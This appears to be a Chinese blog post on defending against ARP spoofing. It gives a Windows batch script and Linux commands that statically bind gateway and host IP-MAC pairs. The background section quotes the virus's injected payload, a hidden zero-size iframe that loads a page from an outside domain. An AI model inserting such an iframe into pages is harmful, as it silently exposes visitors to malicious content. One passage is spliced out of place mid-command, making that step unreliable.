`
icarusli
  • 浏览: 525621 次
  • 性别: Icon_minigender_1
  • 来自: 广州
社区版块
存档分类
最新评论

win/linux 网关绑定MAC,ARP攻击

阅读更多

@echo off
rem by lee
rem 读取本机Mac地址
if exist ipconfig.txt del ipconfig.txt
ipconfig /all >ipconfig.txt
if exist phyaddr.txt del phyaddr.txt
find "Physical Address" ipconfig.txt >phyaddr.txt
for /f "skip=2 tokens=12" %%M in (phyaddr.txt) do set Mac=%%M
rem 读取本机ip地址
if exist IPAddr.txt del IPaddr.txt
find "IP Address" ipconfig.txt >IPAddr.txt
for /f "skip=2 tokens=15" %%I in (IPAddr.txt) do set IP=%%I
rem 绑定本机IP地址和MAC地址
arp -s %IP% %Mac%
rem 读取网关地址
if exist GateIP.txt del GateIP.txt
find "Default Gateway" ipconfig.txt >GateIP.txt
for /f "skip=2 tokens=13" %%G in (GateIP.txt) do set GateIP=%%G
rem 读取网关Mac地址
if exist GateMac.txt del GateMac.txt
arp -a %GateIP% >GateMac.txt
for /f "skip=3 tokens=2" %%H in (GateMac.txt) do set GateMac=%%H
rem 绑定
arp -s %GateIP% %GateMac%
del GateIP.txt
del gatemac.txt
del ipaddr.txt
del ipconfig.txt
del phyaddr.txt
pause
exit

 

 

 

 一、应用背景
由于最近网上新出现一种ARP欺骗病毒,主要表现为:
中病毒的机器不仅影响自身,同时也会影响同网段的其它机器,将其它机器的HTTP数据包里加入病毒代码。代码例子如:
<html><iframe src=http://www2.89382.cn/wm/css.htm width=0 height=0></iframe>
这种病毒危害非常大!即使你机器的安全性做得很好,可是没办法保证同网段的其它机器安全没有问题!
解决办法:在网关和本机上双向绑定IP和MAC地址,以防止ARP欺骗。

二、约定
1、网关上已经对下面所带的机器作了绑定。网关IP:192.168.1.1 MAC:00:02:B3:38:08:62
2、要进行绑定的Linux主机IP:192.168.1.2 MAC:00:04:61:9A:8D:B2

三、绑定步骤
1、先使用arp和arp -a查看一下当前ARP缓存列表
[root@ftpsvr ~]# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.234            ether   00:04:61:AE:11:2B   &n

bsp;C                     eth0
192.168.1.145            ether   00:13:20:E9:11:04   C                     eth0
192.168.1.1              ether   00:02:B3:38:08:62   C                     eth0

说明:
Address:主机的IP地址
Hwtype:主机的硬件类型
Hwaddress:主机的硬件地址
Flags Mask:记录标志,"C"表示arp高速缓存中的条目,"M"表示静态的arp条目

[root@ftpsvr ~]# arp -a
? (192.168.1.234) at 00:04:61:AE:11:2B [ether] on eth0
? (192.168.1.1) at 00:16:76:22:23:86 [ether] on eth0

2、新建一个静态的mac-->ip对应表文件:ip-mac,将要绑定的IP和MAC地下写入此文件,格式为 ip mac。
[root@ftpsvr ~]# echo '192.168.1.1 00:02:B3:38:08:62 ' > /etc/ip-mac
[root@ftpsvr ~]# more /etc/ip-mac
192.168.1.1 00:02:B3:38:08:62

3、设置开机自动绑定
[root@ftpsvr ~]# echo 'arp -f /etc/ip-mac ' >> /etc/rc.d/rc.local

4、手动执行一下绑定
[root@ftpsvr ~]# arp -f /etc/ip-mac

5、确认绑定是否成功
[root@ftpsvr ~]# arp
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.0.205            ether   00:02:B3:A7:85:48   C                     eth0
192.168.1.234            ether   00:04:61:AE:11:2B   C                     eth0
192.168.1.1              ether   00:02:B3:38:08:62   CM                    eth0

[root@ftpsvr ~]# arp -a
? (192.168.0.205) at 00:02:B3:A7:85:48 [ether] on eth0
? (192.168.1.234) at 00:04:61:AE:11:2B [ether] on eth0
? (192.168.1.1) at 00:02:B3:38:08:62 [ether] PERM on eth0

从绑定前后的ARP缓存列表中,可以看到网关(192.168.1.1)的记录标志已经改变,说明绑定成功。

四、添加信任的Windows主机(192.168.1.10)
1、Linux主机(192.168.1.2)上操作
[root@ftpsvr ~]# echo '192.168.1.10 00:04:61:AE:09:14' >> /etc/i
arp -s 192.168.1.2 00-04-61-9A-8D-B2你可以将上面2个步骤写在一个BAT(批处理)文件中,这样做的好处是,今后如果要增加其它机器的绑定,只需维护这个文件就可以了。例:@echo off arp -d arp -s 192.168.1.2 00-04-61-9A-8D-B2exit 注意:Linux和Widows上的MAC地址格式不同。Linux表示为:AA:AA:AA:AA:AA:AA,Windows表示为:AA-AA-AA-AA-AA-AA


p-mac

[root@ftpsvr ~]# arp -f /etc/ip-mac

2、Windows主机(192.168.1.10)上操作
1)清除ARP缓存
C:Documents and SettingsAdministrator>arp -d

2)绑定Linux主机的IP和MAC地址
C:Documents and SettingsAdministrator>arp -s 192.168.1.2 00-04-61-9A-8D-B2

你可以将上面2个步骤写在一个BAT(批处理)文件中,这样做的好处是,今后如果要增加其它机器的绑定,只需维护这个文件就可以了。例:
@echo off  
arp -d  
arp -s 192.168.1.2 00-04-61-9A-8D-B2
exit 

注意:Linux和Widows上的MAC地址格式不同。Linux表示为:AA:AA:AA:AA:AA:AA,Windows表示为:AA-AA-AA-AA-AA-AA

 

 

 

 

分享到:
评论
1 楼 xuyifeng 2012-08-14  
[img][/img]
  • [b][/b][/i]
玩儿[i][u][/u]
引用

相关推荐

    Win7静态绑定网关MAC防止arp攻击

    每天都在ARP狙击战 终于找到window7的ARP绑定了 让更多的人能解决燃眉之急 希望你们能看明白啦 对于玩系统的老手都知道 防止arp攻击实际上不需要这个防火墙那个防火墙 一句命令将ip与mac地址绑定即可

    ARP防火墙绑定网关MAC地址预防ARP攻击和P2P终结者

    ARP防火墙绑定网关MAC地址预防ARP攻击和P2P终结者

    Win7设置静态网关解决ARP攻击

    2.当局域网内ARP攻击较严重时用户无法正常上网 批处理文件在Win7已下测试可以使用,其他操作系统未测试 运行选项后选项: 1.显示ARP当前项 2.显示Idx值 3.设置静态网关IP和MAC地址 4.删除静态网关IP和MAC地址 9....

    网关本机ARP绑定器

    当局域网中发生ARP欺骗的时候,ARP病毒...本批处理自动绑定网关和本机的ip 与 mac地址,把本文件放在"开始--&gt;程序--&gt;启动"文件夹中,让其每次开机自动执行绑定,能在一定程度防止ARP攻击. 如需更多保护,请安装专门防火墙.

    linux中mac地址绑定方法

    一台linux服务器受到ARP攻击,在使用arp -s绑定网关地址时发现命令不能正常使用.绑后网络会断.后经前辈指点在/etc下创建ethers文件.在文件添加,例如192.168.1.25 00:17:31:C3:A3:C4内容.然后执行arp -f即可,完成...

    MAC地址绑定工具(防ARP攻击工具)

    通过扫描发现内网电脑的IP和MAC地址,并自动生成arp绑定脚本,只需拷贝到各台电脑上做成启动脚本就可实现IP、MAC地址静态绑定。同时提供全能绑定程序,可对windows 98以上所有操作系统做IP、MAC地址绑定。 使用方法 ...

    汽车CAN /MOST网关的设计与实现

    数据共享问题, 提出了一种CAN /MOST网关的设计方案。通过分析两种网络的网络模型, 构建了CAN网络和 MOST网络互联的核心技术———CAN /MOST网关的系统结构, 并在此结构的基础上实现了基于单片机89S51 的网关的硬件...

    Linux网关设置Linux网关设置

    Linux网关设置Linux网关设置Linux网关设置Linux网关设置Linux网关设置Linux网关设置Linux网关设置Linux网关设置Linux网关设置

    最强的arp绑定工具

    将第二行的IP地址设为你自己的网关IP,后面的MAC设为网关的MAC。 还有一个文件就是“先配置然后导入.reg”,这是一个注册表文件。内容如下:0 l U2 ?6 C+ ]& g' R- ] 4 T9 z/ C8 g' J# X Windows Registry Editor ...

    3G蜂窝以太网/串口/USB网关.zip

    3G蜂窝以太网/串口/USB网关zip,3G蜂窝以太网/串口/USB网关,IPn3G用于安全的工业级的无线通信解决方案,给重要数据的传输提供3G网络构架。

    SMPP网关及客户端测试程序,linux/win/mac均可使用

    标准的SMPP网关及客户端测试程序,客户端内置web server,可以通过http接口发送短信,接收回执及上行;客户端及网关可通过配置文件灵活配置。

    基于Linux网关的ARP病毒防御.pdf

    基于Linux网关的ARP病毒防御.pdf

    2.4 GHz以太网/串口/USB网关.zip

    2.4 GHz以太网/串口/USB网关zip,2.4 GHz无线网口/串口/USB网关IP2421B是由一个可靠的高速率2.4Ghz FHSS跳频电台驱动的。凭借同时提供稳定可靠的RS232/485串口、USB和IP/以太网数据无线传输能力,得以成为适合各种...

    绑定网关Mac和IP

    Windows xp/windowss7 /windows8绑定网关Mac和IP

    一个绑定ARP程序一个绑定ARP程序

    一个绑定ARP程序一个绑定ARP程序一个绑定ARP程序

    IP921B 900MHz 以太网/串口/USB网关.zip

    IP921B 900MHz 以太网/串口/USB网关zip,900MHz无线以太网/串口/USB网关IP921B是由一个可靠的900MHz FHSS跳频电台驱动的。凭借同时提供稳定可靠的RS232/485串口、USB和IP/以太网数据无线传输能力,得以成为适合各种...

    arp防火墙单机版4.1.1

    在系统内核层拦截本机对外的TCP SYN/UDP/ICMP/ARP DoS攻击数据包,定位恶意发动DoS攻击的程序,从而保证网络的畅通; &lt;br/&gt;&lt;br/&gt; 4. 安全模式.除了网关外,不响应其它机器发送的ARP Request,达到隐身效果,减少受到ARP...

    linux路由网关linux路由网关

    linux路由网关linux路由网关linux路由网关linux路由网关linux路由网关linux路由网关linux路由网关linux路由网关

    Linux网关服务.pdf

    Linux 网关服务详解 Linux 网关服务是指使用 Linux 操作系统来充当网关的角色,负责连接外部网络和内部网络,提供网络地址转换、路由选择、网络安全等功能。以下是 Linux 网关服务的详细介绍。 网关的定义 在 ...

    ARP攻击识别及防范措施V1.1.pdf

    1.1 确认网关设备、局域网内重要服务器以及本机的IP地址、MAC地址. 1.2 配置静态ARP绑定 1.3 将arp.bat文件放入主机的启动项中 2 网关设备侧攻击防范 2.1 二层交换机(接入设备)配置规范 2.2 三层交换机(网关设备...

Global site tag (gtag.js) - Google Analytics